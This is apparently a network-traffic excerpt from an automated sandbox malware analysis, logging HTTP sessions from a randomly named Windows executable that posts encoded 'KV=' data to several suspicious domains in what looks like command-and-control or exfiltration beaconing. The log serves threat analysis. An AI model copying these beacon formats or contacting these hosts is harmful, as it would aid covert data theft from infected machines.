KV=42t2ancqdNT285lQFuzNwbbZyR3hMkPqHwQ0KPGKpUIWEBdspZV9Ox3CS1T61FVDJDJ1xlSr160RfXbTm+tN1tmPR0HMGtbwFtnOZ3YL8F59YVvtDfgNudX9q7+ZwFE3KTOi9fm0PWZ4YKOTAW5LOXew/xU171mfZt91XNB7fAUms5K0KBw+YdRbQEVnhXYHq4iNSuUwm8zycYqJ/JczpQ0=
Nov 20, 2024 16:57:03.655211926 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 15:57:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Thu, 29 Sep 2022 21:53:06 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5zYhwiW8ceVbqpvMBL%2FNFJqDTrl%2BaA6VitUQfnH0hwRpje6H8n3B0%2FyDdlhZOju9CrqLmQlTeCjewb4ai89XgHLftpO%2FL5z8Z%2Fneh3qKjjljv5PfUfwTD4%2BkGzIO9lj%2Fbslbf3gbXtnplsdI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e59a2302c080f7f-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1500&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=821&delivery_rate=0&cwnd=240&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 33 33 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 96 cd 6e db 46 10 c7 ef 01 f2 0e e3 3d 7b 45 91 b2 be 0a 92 40 eb b8 49 2f 4d d0 26 40 7b 2a 56 cb 11 b9 28 b9 43 ef 2c 29 ba 6f 63 f4 10 a0 40 9f 42 2f 56 50 51 24 51 71 5a b8 f6 89 3b dc 99 df cc 1f c3 dd 61 7c f1 ea ed f5 fb 5f df dd 40 e1 ab 32 7d f9 22 ee 9f 50 2a 9b 27 a2 f6 f2 bb 9f 44 fa f2 05 40 5c a0 ca 76 2b 80 b8 42 af 40 17 ca 31 fa 44 7c 78 ff bd 5c 88 c1 5e e1 7d 2d f1 b6 31 6d 22 7e 91 1f be 95 d7 54 d5 ca 9b 55 89 02 34 59 8f d6 27 e2 87 9b 04 b3 1c 87 a1 56 55 98 88 d6 e0 a6 26 e7 4f bc 37 26 f3 45 92 61 6b 34 ca 9d 71 09 c6 1a 6f 54 29 59 ab 12 93 f0 21 d2 9a 5c a5 bc cc d0 a3 f6 86 ec 09 d1 63 89 75 41 16 13 4b 0f 85 3a 5a 91 e7 93 00 4b c6 66 d8 1d 7c bd f1 25 a6 6f 88 6b cc 54 8e 15 64 08 3f 1b 8f a0 a9 82 57 54 6d ff b6 86 e0 b5 db de 7b c3 20 e1 0d b1 7f ad 3c b9 38 f8 14 ba e7 94 c6 fe 0e 0e cb 44 70 41 ce eb c6 83 d1 7d a9 85 c3 75 22 02 9d 1b c9 77 1c 98 4a e5 c8 c1 5a b5 fd f6 61 31 32 fa 58 ff 91 f5 18 84 9c 44 a3 da e6 02 [TRUNCATED] Data Ascii: 33fnF={E@I/M&@{V(C,)oc@B/VPQ$QqZ;a\|_@2}"P'D@\v+B@1D\|x\^}-1m"~TU4Y'VU&O7&Eak4qoT)Y!\cuAK:ZKf\|%okTd?WTm{ <8DpA}u"wJZa12XDIM2s:2s>2Cr-
Nov 20, 2024 16:57:03.655276060 CET	478	IN	Data Raw: 46 8b 2e 8c 16 e2 99 5a 2e c3 e5 b0 61 e1 32 ea c2 e5 43 2d 53 75 5d a2 f4 d4 e8 42 3e 52 c2 f8 4c c2 b8 0b a3 f1 b3 a6 98 9e a9 98 46 5d 38 7d 5e 15 8b 33 15 8b 71 17 2e ce 54 9c b1 34 73 b0 22 f2 ec 9d aa 47 95 b1 23 cd 2c f6 ed f2 77 25 72 81 Data Ascii: F.Z.a2C-Su]B>RLF]8}^3q.T4s"G#,w%r&=U]%>r343-R1'kWq_eAJNO=0Io#_A19#ok\O}NU;dVPoscEWCp wVKz =tdd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.11	50019	172.67.159.24	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:57:05.099891901 CET	1834	OUT	POST /04wl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.rafconstrutora.online Connection: close Content-Length: 1231 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.rafconstrutora.online Referer: http://www.rafconstrutora.online/04wl/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 34 32 74 32 61 6e 63 71 64 4e 54 32 38 35 6c 51 46 75 7a 4e 77 62 62 5a 79 52 33 68 4d 6b 50 71 48 77 51 30 4b 50 47 4b 70 55 51 57 45 55 42 73 6f 36 74 39 50 78 33 43 61 56 54 37 31 46 55 42 4a 44 68 35 78 6c 57 37 31 38 77 52 65 77 7a 54 76 76 74 4e 38 74 6d 50 54 30 48 4a 49 4e 62 6c 46 74 32 48 5a 33 6f 4c 38 46 35 39 59 55 66 74 54 64 59 4e 31 64 58 2b 36 72 2b 76 30 46 45 50 4b 56 6e 66 39 66 53 65 50 6d 35 34 59 71 65 54 43 45 52 4c 46 58 65 2b 34 78 55 58 37 30 61 41 5a 73 52 35 58 4e 64 42 66 47 6b 6d 73 38 54 59 61 79 34 71 4f 76 51 72 45 31 56 72 68 69 6b 31 73 4a 4b 32 52 73 55 6c 77 62 48 50 5a 39 4b 47 74 62 41 35 33 30 44 64 30 5a 75 66 2f 6b 4c 46 43 58 61 32 66 34 50 6b 54 55 6a 68 34 34 49 6d 48 52 6a 66 63 57 49 76 42 67 56 33 52 72 54 44 52 49 7a 67 63 34 41 6d 36 52 30 6c 43 74 67 49 59 79 72 72 48 32 75 64 57 69 6f 41 31 64 72 2b 36 4a 54 72 68 76 4b 55 4a 41 45 31 39 46 36 6b 31 44 6f 35 57 78 2b 6e 55 6c 70 54 73 65 78 57 33 51 54 35 44 74 55 63 54 75 72 50 78 54 50 [TRUNCATED] Data Ascii: KV=42t2ancqdNT285lQFuzNwbbZyR3hMkPqHwQ0KPGKpUQWEUBso6t9Px3CaVT71FUBJDh5xlW718wRewzTvvtN8tmPT0HJINblFt2HZ3oL8F59YUftTdYN1dX+6r+v0FEPKVnf9fSePm54YqeTCERLFXe+4xUX70aAZsR5XNdBfGkms8TYay4qOvQrE1Vrhik1sJK2RsUlwbHPZ9KGtbA530Dd0Zuf/kLFCXa2f4PkTUjh44ImHRjfcWIvBgV3RrTDRIzgc4Am6R0lCtgIYyrrH2udWioA1dr+6JTrhvKUJAE19F6k1Do5Wx+nUlpTsexW3QT5DtUcTurPxTPuQwhknb6xGyyEdsWrtxWc/4gEYPxORMsyJil1+8SQPGpNFBBHaGKLFbEEMiBoAAqSeVAFcbLhOK6KAMGjYa6HiRlOo4WiuLGXXvWZRDbRaM26OYe2BVSVZxoiBPjSPjR1kMG9klk2r7r0W5jbs6sozR1Xau2AzXrH3sw0GPcGaKAdwRSFpV+mFgA9GgseYiMsDhsW8PNOpEHwXLdX+uau+OiumxDIOe5DrctAI+yUr9//D+omvTwK4zw/l9augUcWg+KBoCVF8hEv8+k5+nRSnuKepuieROHMgQdgJBojorDuCY2VgZupePo9XpO/fYjFKcWG1hsEFiJJ+C1D3C0nHde0b0zbgee/63/Di1LEYZso33oltsrNGvu9YOhZFzsVgMndPgdIXW03in7W4dMMVQmgmMdw7Q1WDdeMlOzFf/K+LlcLDZOM3HkcahltswshXJCBJ5LPsTrJClMPbU7s9gakYYvySMwm75qZDy96quGUm/sRBMSHF91dc0UwgFQIPhXP5yzCsGJ8qT3YnRUKpew95b6bHmnbFPhgllOKEOhugBhXT0Jpyi78CHXxgQ0bTXdUvih8Kpx+tQ+KFudlc9+AVswXvCpxroZsJwvh3eWe2c6kQOsTZ64eisFFqyvTr5kNB4zaCP1/3fXZcmMVcPSYKzdg6iBww [TRUNCATED]
Nov 20, 2024 16:57:06.447819948 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 15:57:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Thu, 29 Sep 2022 21:53:06 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KqBMkhpOE6J0R9SvIvc31Nx8n%2FJccHoLeQFmUKhm%2FcSTb1OiLtWz27LYqC4GURJAZy%2BmIw3BEhniG8FT%2B6AP8eOlAPlyLTkmCAoWNooDk9R0TrY5LDv56XOo5%2Fi9ppAZyRSXSSksQB8GyFQm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e59a2411ea043d0-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1627&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1834&delivery_rate=0&cwnd=171&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 33 33 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ac 96 cd 6e db 46 10 c7 ef 01 f2 0e e3 3d 7b 45 91 b2 be 0a 92 40 eb b8 49 2f 4d d0 26 40 7b 2a 56 cb 11 b9 28 b9 43 ef 2c 29 ba 6f 63 f4 10 a0 40 9f 42 2f 56 50 51 24 51 71 5a b8 f6 89 3b dc 99 df cc 1f c3 dd 61 7c f1 ea ed f5 fb 5f df dd 40 e1 ab 32 7d f9 22 ee 9f 50 2a 9b 27 a2 f6 f2 bb 9f 44 fa f2 05 40 5c a0 ca 76 2b 80 b8 42 af 40 17 ca 31 fa 44 7c 78 ff bd 5c 88 c1 5e e1 7d 2d f1 b6 31 6d 22 7e 91 1f be 95 d7 54 d5 ca 9b 55 89 02 34 59 8f d6 27 e2 87 9b 04 b3 1c 87 a1 56 55 98 88 d6 e0 a6 26 e7 4f bc 37 26 f3 45 92 61 6b 34 ca 9d 71 09 c6 1a 6f 54 29 59 ab 12 93 f0 21 d2 9a 5c a5 bc cc d0 a3 f6 86 ec 09 d1 63 89 75 41 16 13 4b 0f 85 3a 5a 91 e7 93 00 4b c6 66 d8 1d 7c bd f1 25 a6 6f 88 6b cc 54 8e 15 64 08 3f 1b 8f a0 a9 82 57 54 6d ff b6 86 e0 b5 db de 7b c3 20 e1 0d b1 7f ad 3c b9 38 f8 14 ba e7 94 c6 fe 0e 0e cb 44 70 41 ce eb c6 83 d1 7d a9 85 c3 75 22 02 9d 1b c9 77 1c 98 4a e5 c8 c1 5a b5 fd f6 61 31 32 fa 58 ff 91 f5 18 84 9c 44 a3 da e6 02 [TRUNCATED] Data Ascii: 33fnF={E@I/M&@{V(C,)oc@B/VPQ$QqZ;a\|_@2}"P'D@\v+B@1D\|x\^}-1m"~TU4Y'VU&O7&Eak4qoT)Y!\cuAK:ZKf\|%okTd?WTm{ <8DpA}u"wJZa12XDIM2s:2s>2Cr-F.
Nov 20, 2024 16:57:06.447949886 CET	475	IN	Data Raw: 8c 16 e2 99 5a 2e c3 e5 b0 61 e1 32 ea c2 e5 43 2d 53 75 5d a2 f4 d4 e8 42 3e 52 c2 f8 4c c2 b8 0b a3 f1 b3 a6 98 9e a9 98 46 5d 38 7d 5e 15 8b 33 15 8b 71 17 2e ce 54 9c b1 34 73 b0 22 f2 ec 9d aa 47 95 b1 23 cd 2c f6 ed f2 77 25 72 81 e8 ff 13 Data Ascii: Z.a2C-Su]B>RLF]8}^3q.T4s"G#,w%r&=U]%>r343-R1'kWq_eAJNO=0Io#_A19#ok\O}NU;dVPoscEWCp wVKz =tddX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.11	50020	172.67.159.24	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:57:07.774820089 CET	513	OUT	GET /04wl/?KV=10FWZSQ9WPLVyv9qBMSr5p2LrQDaGm/mNCwAUqa3tlQsFj4tjY5WEjDNTnPsz2N9DzYKtSqEkqZ6JmaP68J/ydW7QnrBD/a7HdnFb2gh9G13RXTqS9Au/Yk=&Wno=a0qDq HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.rafconstrutora.online Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Nov 20, 2024 16:57:09.031634092 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 15:57:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Thu, 29 Sep 2022 21:53:06 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8YEKMAkxfBN2CzwjbWQrDYELRAv2oiMG%2Flid7Vb%2B6PD4656EVnwDNvMVUAQge5iyG5UkrAHQfRuCFORhJN5TQcKDYBTIRYD3ubY8rhyrEnBlvXReEciF9ng9FH9Xzen2G%2BPL%2Bqdj3U6aS68Q"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e59a25198e418bc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2097&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=513&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 33 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 48 6f 73 70 65 64 61 67 65 6d [TRUNCATED] Data Ascii: 939<!DOCTYPE html><html lang="pt-BR"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="format-detection" content="telephone=no"> <meta name="robots" content="noindex"> <title>Hospedagem de Site com Domnio Grtis - HostGator</title> <link rel="shortcut
Nov 20, 2024 16:57:09.031687021 CET	1236	IN	Data Raw: 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 63 67 69 2d 73 79 73 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 73 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 63 Data Ascii: icon" href="/cgi-sys/images/favicons/favicon.ico"> <link rel="icon" href="/cgi-sys/images/favicons/favicon-32.png" sizes="32x32"> <link rel="icon" href="/cgi-sys/images/favicons/favicon-57.png" sizes="57x57"> <link rel="icon" h
Nov 20, 2024 16:57:09.031727076 CET	725	IN	Data Raw: 2c 3c 2f 73 74 72 6f 6e 67 3e 3c 62 72 3e 4e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 6d 6f 73 3c 62 72 3e 65 73 73 61 20 70 c3 a1 67 69 6e 61 21 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 70 3e 50 61 72 65 63 65 20 71 75 65 20 61 20 70 c3 Data Ascii: ,</strong><br>No encontramos<br>essa pgina!</h1> <p>Parece que a pgina que voc est procurando foi movida ou nunca existiu, certifique-se que digitou o endereo corretamente ou seguiu um link vlido.</p> <a hre

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.11	50021	208.91.197.27	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:57:14.932281017 CET	792	OUT	POST /me88/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.614genetics.online Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.614genetics.online Referer: http://www.614genetics.online/me88/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 6e 36 49 70 4d 4f 37 72 5a 7a 33 38 37 53 4b 63 35 6f 4c 38 6c 48 66 65 4b 38 41 6c 4f 4d 50 55 32 48 37 49 5a 67 30 54 74 69 2b 78 79 64 2b 47 6f 77 6b 7a 39 30 42 6e 63 74 30 79 47 63 39 73 56 74 78 30 64 2f 58 57 70 72 43 54 6e 75 4e 2f 73 2b 47 72 6c 4f 62 59 6b 34 53 53 4b 77 4d 47 73 39 6b 78 34 71 56 46 45 67 45 53 50 75 2b 52 34 4a 61 72 69 59 4c 46 53 37 39 70 54 6f 4a 77 31 69 77 46 31 70 69 36 33 38 79 44 2b 34 34 45 32 32 4a 33 57 75 37 30 50 36 73 6c 35 54 6a 59 34 2b 56 43 47 63 4c 44 79 76 64 67 65 71 54 59 72 48 50 58 4f 4a 73 37 65 4b 5a 56 68 77 68 2b 68 51 3d 3d Data Ascii: KV=n6IpMO7rZz387SKc5oL8lHfeK8AlOMPU2H7IZg0Tti+xyd+Gowkz90Bnct0yGc9sVtx0d/XWprCTnuN/s+GrlObYk4SSKwMGs9kx4qVFEgESPu+R4JariYLFS79pToJw1iwF1pi638yD+44E22J3Wu70P6sl5TjY4+VCGcLDyvdgeqTYrHPXOJs7eKZVhwh+hQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.11	50022	208.91.197.27	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:57:17.605170012 CET	812	OUT	POST /me88/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.614genetics.online Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.614genetics.online Referer: http://www.614genetics.online/me88/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 6e 36 49 70 4d 4f 37 72 5a 7a 33 38 30 52 53 63 31 72 6a 38 6a 6e 66 52 54 4d 41 6c 41 73 50 51 32 48 2f 49 5a 6a 34 44 74 55 75 78 79 34 53 47 70 31 49 7a 2b 30 42 6e 58 4e 30 33 49 38 39 6e 56 74 38 48 64 2f 37 57 70 72 57 54 6e 72 78 2f 72 4d 75 6f 6b 65 61 2b 2f 6f 53 63 41 51 4d 47 73 39 6b 78 34 71 78 6a 45 67 63 53 54 4f 75 52 34 72 69 6f 72 34 4c 47 62 62 39 70 5a 34 4a 30 31 69 77 33 31 73 36 45 33 35 32 44 2b 36 77 45 31 6e 4a 34 5a 75 37 79 43 61 73 33 35 67 57 64 68 35 55 57 4f 39 33 5a 77 73 35 77 62 73 65 43 37 6b 47 41 4e 61 6b 35 4b 73 34 6c 6f 42 45 33 36 5a 67 67 62 73 2f 4a 35 49 6d 62 49 38 73 44 31 6c 30 77 49 36 51 3d Data Ascii: KV=n6IpMO7rZz380RSc1rj8jnfRTMAlAsPQ2H/IZj4DtUuxy4SGp1Iz+0BnXN03I89nVt8Hd/7WprWTnrx/rMuokea+/oScAQMGs9kx4qxjEgcSTOuR4rior4LGbb9pZ4J01iw31s6E352D+6wE1nJ4Zu7yCas35gWdh5UWO93Zws5wbseC7kGANak5Ks4loBE36Zggbs/J5ImbI8sD1l0wI6Q=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.11	50023	208.91.197.27	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:57:20.268230915 CET	1825	OUT	POST /me88/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.614genetics.online Connection: close Content-Length: 1231 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.614genetics.online Referer: http://www.614genetics.online/me88/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 6e 36 49 70 4d 4f 37 72 5a 7a 33 38 30 52 53 63 31 72 6a 38 6a 6e 66 52 54 4d 41 6c 41 73 50 51 32 48 2f 49 5a 6a 34 44 74 55 6d 78 31 4f 47 47 6f 53 63 7a 2f 30 42 6e 55 4e 30 32 49 38 39 36 56 74 31 76 64 2f 47 6a 70 6f 75 54 6d 4e 6c 2f 71 34 36 6f 74 65 61 2b 67 34 53 52 4b 77 4d 54 73 39 30 31 34 71 68 6a 45 67 63 53 54 49 71 52 73 70 61 6f 74 34 4c 46 53 37 39 74 54 6f 4a 63 31 6d 55 4e 31 73 33 2f 30 4b 2b 44 2f 5a 59 45 35 31 78 34 47 65 37 4b 46 61 74 6b 35 67 4b 57 68 35 67 61 4f 39 7a 67 77 76 70 77 57 61 44 4a 76 48 4b 34 54 4a 51 78 63 64 49 65 74 52 51 45 79 49 4a 55 4e 39 2f 30 76 6f 71 30 50 65 39 76 70 55 77 44 4c 50 61 38 75 33 6c 47 57 68 6f 54 4c 57 31 63 52 6e 4d 6e 74 72 61 33 37 43 71 61 55 75 46 2b 49 43 4f 37 47 32 56 31 67 49 52 4a 37 76 73 78 41 75 77 2f 46 6f 44 4e 50 53 64 36 4e 69 6d 71 76 38 30 75 64 51 6c 64 74 35 31 62 6c 42 48 66 61 6c 44 7a 74 7a 4e 59 33 2b 6c 71 77 4c 39 36 53 43 62 2f 4e 72 7a 62 37 64 77 68 63 45 61 37 44 44 6f 7a 46 35 70 34 67 71 75 [TRUNCATED] Data Ascii: KV=n6IpMO7rZz380RSc1rj8jnfRTMAlAsPQ2H/IZj4DtUmx1OGGoScz/0BnUN02I896Vt1vd/GjpouTmNl/q46otea+g4SRKwMTs9014qhjEgcSTIqRspaot4LFS79tToJc1mUN1s3/0K+D/ZYE51x4Ge7KFatk5gKWh5gaO9zgwvpwWaDJvHK4TJQxcdIetRQEyIJUN9/0voq0Pe9vpUwDLPa8u3lGWhoTLW1cRnMntra37CqaUuF+ICO7G2V1gIRJ7vsxAuw/FoDNPSd6Nimqv80udQldt51blBHfalDztzNY3+lqwL96SCb/Nrzb7dwhcEa7DDozF5p4gqudrTKXbmr7DPC4QZuJz7DsTZRUKNsjEoTmwKMUzT9CWnj9C2TdvZNDGp7CMsaKZNO4iewvjeBtlclHHn1LwxwuEYfCDeAXqFUdDfTNNRl3RcTOGMnqHU2C6Tn5VjznuG1W0HcZ6b3LJ4a5buuWSfGNLUowHf3r+4MPDpimIz7Q8l9GSgfrB6zfzN9W9jg8AYalL63Il0sbh0l6xN/jdbZpCn2abm6Eo/Sgo2NrPWMOtrcFSiVIMV5qdjZSBfxOPQ+sp2bw4FCPEvkEvh2j2EzBGNblb8FJq4R3+e71xqU2CMmjgU6xt9mihJMFCC4C/m1cSq6N723yk8zfiPQStzuImI45XbZt+KOpmFKcIATrvv+wgxB+PC42s4Doo/GHq0/wB2qRUH8DnmFt7x+2/QHenzph3O2rtNX3s2fXN3XGpyDl02Ic13dEZ2WGkKc0qpbgSmP0Uzd3GgiVtG0pjpES64CrcSJeI2ayHDix/uxfQ9j/hatAx1zawfbX9oF94KrUPJGpZb+V5HWSJ0cMEMYSENZA3jLMzopJziTMDcyk2S/KNT2vLk3lKtFsex87GecAm+jaZTYhBwPWpoWnC0tuOCbQKHlKeGywPpdXrocpTk4QqTblT8NQQeucNrDz8ag3hPJrUN4dL49mx0cm7blfdS77AIva58BCH [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.11	50024	208.91.197.27	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:57:22.938503027 CET	510	OUT	GET /me88/?KV=q4gJP+3oagrN9CKx8rfxsUGQTP5gFdbCqSnsSAovlnmOs/6LoBJM5Gt+ZeI5OsVhXMd6KM7YnqTd6M8YysOllc/dqLONIyR3l/1k9rdJVwtuEJXWvL6OrMc=&Wno=a0qDq HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.614genetics.online Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Nov 20, 2024 16:57:25.490998030 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:57:23 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") Set-Cookie: vsid=911vr4796638441327941; expires=Mon, 19-Nov-2029 15:57:24 GMT; Max-Age=157680000; path=/; domain=www.614genetics.online; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_BnBJzTNKjI78avGSsc7WV7Z98dNgzOkU+Qp/akw0iafmCHet4UcEIN4lIgkYuhA/Ku+pDvh0dBGXvxsKhcuokg== Content-Length: 2630 Content-Type: text/html; charset=UTF-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4b 58 37 34 69 78 70 7a 56 79 58 62 4a 70 72 63 4c 66 62 48 34 70 73 50 34 2b 4c 32 65 6e 74 71 72 69 30 6c 7a 68 36 70 6b 41 61 58 4c 50 